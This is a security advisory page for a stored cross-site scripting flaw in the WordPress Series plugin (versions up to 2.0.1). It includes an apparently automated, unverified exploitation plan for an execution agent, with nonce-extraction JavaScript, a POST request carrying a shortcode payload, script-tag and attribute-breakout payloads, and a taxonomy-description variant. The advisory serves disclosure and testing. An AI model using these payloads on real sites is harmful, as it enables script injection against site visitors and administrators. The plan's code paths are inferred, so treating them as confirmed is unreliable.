CVE-2025-62759

Series <= 2.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Series plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.0.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.0.1
PublishedDecember 31, 2025
Last updatedJanuary 5, 2026
Affected pluginseries
Research Plan
Unverified

This research plan focuses on identifying and exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the **Series** plugin (<= 2.0.1) for WordPress. ### 1. Vulnerability Summary * **Plugin Name:** Series (slug: `series`) * **Affected Versions:** <= 2.0.1 * **Vulnerability Type:** Sto…

Show full research plan

This research plan focuses on identifying and exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the Series plugin (<= 2.0.1) for WordPress.

1. Vulnerability Summary

  • Plugin Name: Series (slug: series)
  • Affected Versions: <= 2.0.1
  • Vulnerability Type: Stored Cross-Site Scripting (XSS)
  • Privilege Required: Contributor+ (Authenticated)
  • Description: The plugin fails to adequately sanitize and escape input provided by users with contributor-level permissions or higher. This input is likely stored in post metadata or within the post content (via shortcodes) and subsequently rendered on the frontend without proper output encoding (esc_html, esc_attr).

2. Attack Vector Analysis

  • Entry Point: The primary entry point is likely the [series] shortcode attributes or the Series-related Meta Boxes located in the WordPress Post Editor.
  • HTTP Parameter: Depending on the storage method, the payload will be carried in the content parameter (for shortcodes) or a plugin-specific metadata parameter (e.g., series_title or series_label - inferred) during a POST request to wp-admin/post.php.
  • Preconditions:
    1. The attacker must have a user account with at least Contributor privileges.
    2. The plugin must be active.
  • Trigger: The XSS executes when any user (specifically an Administrator) views the post containing the malicious shortcode or metadata on the frontend.

3. Code Flow (Inferred)

  1. Registration: The plugin registers a shortcode (e.g., series) using add_shortcode('series', 'callback_function') or a meta box via add_meta_box().
  2. Input: A Contributor creates or edits a post, inserting a payload into a shortcode attribute: [series title="<script>alert(1)</script>"].
  3. Storage: WordPress saves the post content (or meta) to the wp_posts (or wp_postmeta) table.
  4. Processing: When the post is viewed, the_content filter runs. The shortcode callback function is invoked.
  5. Sink: Inside the callback, the attributes array (e.g., $atts['title']) is concatenated into an HTML string and returned or echoed without passing through escaping functions like esc_html().

4. Nonce Acquisition Strategy

Since the vulnerability is exploited through the standard WordPress post editing workflow, the necessary nonce is the standard WordPress post nonce (_wpnonce).

Steps for the Execution Agent:

  1. Create Target Post: Use WP-CLI to create a draft post assigned to the contributor:
    wp post create --post_type=post --post_status=draft --post_author=contributor_user --post_title="XSS Test"
  2. Navigate to Editor: Use browser_navigate to go to the edit page for that post: http://localhost:8080/wp-admin/post.php?post=[ID]&action=edit.
  3. Extract Nonce: Use browser_eval to extract the required nonce from the hidden input field:
    // Standard WordPress post nonce
    document.querySelector('#_wpnonce')?.value;
    
  4. Identify Plugin Variables: If the plugin uses AJAX for series management, check for localized variables:
    // Check for plugin-specific data (inferred name based on slug)
    window.series_data?.nonce || window.series_params?.nonce;
    

5. Exploitation Strategy

We will attempt to exploit the vulnerability via the shortcode attribute, which is the most common path for Contributor-level XSS.

HTTP Request (via http_request tool):

  • Method: POST
  • URL: http://localhost:8080/wp-admin/post.php
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
    • Cookie: [Contributor Session Cookies]
  • Body Parameters:
    • _wpnonce: [Extracted Nonce]
    • action: editpost
    • post_ID: [Post ID]
    • post_title: XSS Exploit
    • content: [series title='"><script>alert(window.origin)</script>'] (Note: series is the inferred shortcode slug).
    • post_status: draft

6. Test Data Setup

  1. Users: Create a contributor user:
    wp user create contributor attacker@example.com --role=contributor --user_pass=password123
  2. Plugin Identification: Confirm the shortcode slug by searching the plugin files:
    grep -r "add_shortcode" /var/www/html/wp-content/plugins/series/
  3. Post: Create a post to hold the payload as described in Section 4.

7. Expected Results

  • The post.php request should return a 302 redirect to the edit page, indicating a successful save.
  • When navigating to the frontend URL of the post (e.g., http://localhost:8080/?p=[ID]), a JavaScript alert box displaying the origin should appear.
  • The HTML source of the page will show the payload rendered literally: <div class="series-title">"><script>alert(window.origin)</script></div>.

8. Verification Steps

  1. Check Database: Verify the payload is stored exactly as sent:
    wp post get [ID] --field=post_content
  2. Check Meta: If the shortcode wasn't the vector, check if the plugin created post meta:
    wp post meta list [ID]
  3. Verify Rendering: Use browser_navigate to the post URL and check for the presence of the script tag in the DOM using browser_eval("document.body.innerHTML.includes('alert')").

9. Alternative Approaches

  • Meta Box Exploitation: If the shortcode is not vulnerable, attempt to inject via post meta. Look for input names in the post editor HTML like series_name, series_label, or series_description.
  • Taxonomy Exploitation: Series plugins often use a custom taxonomy. Check if the "Description" field of a Series category (taxonomy: series) allows XSS:
    POST /wp-admin/edit-tags.php with taxonomy=series and description=<script>alert(1)</script>.
  • Attribute Breakout: If the payload is rendered inside an attribute, use: x" onmouseover="alert(1)" b=".
Research Findings
Static analysis — not yet PoC-verified

Summary

The Series plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to and including 2.0.1 due to insufficient input sanitization and output escaping on shortcode attributes. This allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts into posts, which execute in the context of any user viewing the page.

Exploit Outline

An authenticated attacker with Contributor-level permissions can exploit this vulnerability by creating or editing a post and inserting a malicious payload into the [series] shortcode. By setting an attribute like 'title' to a payload such as [series title='\"><script>alert(origin)</script>'], the script is saved to the WordPress database. When a user (including an administrator) views the post on the frontend, the plugin's rendering logic fails to escape the attribute value, causing the browser to execute the injected JavaScript.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.